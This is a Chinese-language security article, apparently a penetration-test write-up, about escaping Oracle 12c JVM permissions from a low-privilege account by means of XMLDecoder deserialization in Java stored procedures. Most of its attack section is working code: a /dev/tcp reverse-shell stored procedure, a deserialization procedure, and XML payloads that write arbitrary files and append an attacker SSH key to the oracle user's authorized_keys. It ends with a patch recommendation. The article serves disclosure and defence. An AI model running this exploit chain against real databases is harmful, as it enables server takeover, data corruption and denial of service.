Oracle資料庫安全思考之xml反序列化

e安全 發佈 2019-12-14T07:26:55+00:00

No.1聲明由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。

No.1

聲明

由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。

雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。

No.2

前言

在測試過程中,碰到oracle資料庫,只發現存在一個低權限用戶dm,由於權限不足無法進一步獲取關鍵數據,同時無法進一步獲取系統權限。

主機場景:

運行伺服器:centos 6.5資料庫版本:Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

低權限用戶:TESTER

能夠訪問SQLPLUS終端,也可以使用PL/SQL工具連接。

XML反序列化

XML反序列化,可以描述一個Java Object,以及用來構建Object時所需要調用的方法和相關參數。在Oracle中,使用XMLDecoder類重新組裝XML序列化後的對象,而在組裝過程中所調用的對象方法,沒有被Oracle JVM限制權限。因此,可以使用XML反序列化構建一個FileWriter對象,並調用其write方法,就可以實現文件寫入操作。

No.3

Java存儲過程

Oracle企業版在資料庫中嵌入了Java虛擬機,Oracle資料庫通過Java存儲過程支持Java的本機執行,存儲過程是發布到SQL並存儲在資料庫中以供一般使用的Java方法。調用存儲過程

在互通性上面,Oracle資料庫中的Java完全符合Java語言規範(JLS),並提供了通用的,面向對象的程式語言的所有優點。另外,與PL/SQL一樣,Java提供對Oracle數據的完全訪問權限。結果,任何用PL/SQL編寫的過程也可以用Java編寫。

No4

通過SQL終端查詢java版本

create function get_java_property(prop in varchar2) return varchar2 is language java name 'java.name.System.getProperty(java.lang.String) return java.lang.String';

No.5

JVM的基本保護

SET scan off

create or replace and compile java source named ReverseShell asimport java.io.*;

public class ReverseShell{

public static void getConnection(String ip, String port) throws InterruptedException, IOException{

Runtime r = Runtime.getRuntime;

Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"}); System.out.println(p.toString);

p.waitFor;

}

}/create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2)

IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)';

由於Oracle JVM實現了基於細粒度策略的安全性來控制對OS和文件系統的訪問,因此該方法將不起作用。從低權限帳戶執行此過程會導致錯誤。

請注意,錯誤堆棧包含缺少權限和必要的命令才能授予訪問權限ORA-29532:Java call terminated by uncaught Java exception

No.6

XML反序列化帶來的問題

XML反序列化Java中存在XML序列化和反序列化功能,以支持使用標準化格式(在本例中為XML)的跨平台信息交換。為此,java.beans庫包含兩個類:XMLEncoder和XMLDecoder,它們用於將Java對象序列化為XML格式,並在以後反序列化該對象。典型的反序列化漏洞依賴於接受和反序列化任意輸入的服務的存在。但是,如果有權訪問可以在用戶架構中創建對象的低特權Oracle帳戶(具有連接和資源的用戶),則可以創建反序列化存儲過程。例如:創建一個帳號TESTER,只擁有CONNECT、RESOURCE權限。

創建了以下Java類「 DecodeMe」和一個調用該類的Java存儲過程:

create or replace and compile java source named DecodeMe asimport java.io.*;import java.beans.*;public class DecodeMe{ public static void input(String xml) throws InterruptedException, IOException {

XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes)); Object object = decoder.readObject; System.out.println(object.toString);

decoder.close;

}

}

;

/CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS

language java name 'DecodeMe.input(java.lang.String)';

/

該解碼程序將接受XML編碼的Java的任意字符串,並執行所提供的指令。可在此處找到有關序列化XML的正確格式的信息。該塊將簡單地調用println將數據輸出到終端。

BEGIN

decodeme('<?xml version="1.0" encoding="UTF-8" ?><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.lang.System" field="out"> <void method="println"><string>This is test output to the console</string></void></object></java>');

END;

/

反序列化過程將會繞過JVM權限設置,並允許用戶在OS上任意寫入文件。請參見以下示例腳本:

BEGIN

decodeme('

<java class="java.beans.XMLDecoder" version="1.4.0" >

<object class="java.io.FileWriter">

<string>/tmp/test.txt </string>

<boolean>True</boolean>

<void method="write">

<string>test</string>

</void>

<void method="close" />

</object>

</java>');END;

/

執行上述腳本將在/tmp文件夾中創建一個名為「test.txt」的文件:

因此,通過反序列化,可以繞過內置的安全限制將任意文件寫入文件系統。事實證明,不僅可以將新文件寫入系統,還可以覆蓋或附加Oracle用戶具有寫許可權的任何文件。

顯然,這會對資料庫產生嚴重影響,因為攻擊者可能會覆蓋關鍵文件(包括控制文件),這可能會導致成功的拒絕服務攻擊或數據損壞。但是,通過精心設計的有效payload(pl/sql腳本),使用此反序列化攻擊以Oracle用戶的身份訪問伺服器。

假設SSH在伺服器上打開並配置為接受RSA連接,則以下有效負載會將RSA令牌附加到管理資料庫進程的Oracle帳戶中。開始認證密鑰:

EGIN

decodeme('

<java class="java.beans.XMLDecoder" version="1.4.0">

<object class="java.io.FileWriter">

<string>/home/oracle/.ssh/authorized_keys</string>

<boolean>True</boolean>

<void method="write">

<string>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCedKQPeoJ1UeJEW6ZVkiuWAxBKW8F4fc0VrWxR5HEgaAcVodhgc6X7klyOWrJceGqICcCZd6K+/lvI3xaE2scJpRZWlcJQNCoZMRfmlhibq9IWMH0dm5LqL3QMqrXzZ+a2dfNohSdSmLDTaFHkzOGKEQIwHCv/e4e/eKnm0fUWHeL0k4KuCn3MQUN1HwoqoCciR0DrBDOYAKHxqpBv9rDneCdvaS+tqlr5eShjNlHv1YzJGb0lZZlsny19is8CkhcZ6+O+UCKoBPrxaGsfipsEIH5aPu9xVA90Xgsakhg4yoy9FLnES+xmnVxKX5GHyixi3qeWGDwBsAvhAAGLxOc5 </string>

</void>

<void method="close" />

</object>

</java> ');END;

/

執行後,該代碼會將任意RSA密鑰附加到Oracle用戶的authenticated_keys文件中,以Oracle用戶的身份授予對SSH的攻擊。

Oracle用戶可以以SYS身份訪問資料庫,進而管理整個資料庫。

No.7

修復意見

建議升級補丁版本:12.2.0.1.180717(p27923353_122010_Linux-x86-64.zip)

關鍵字: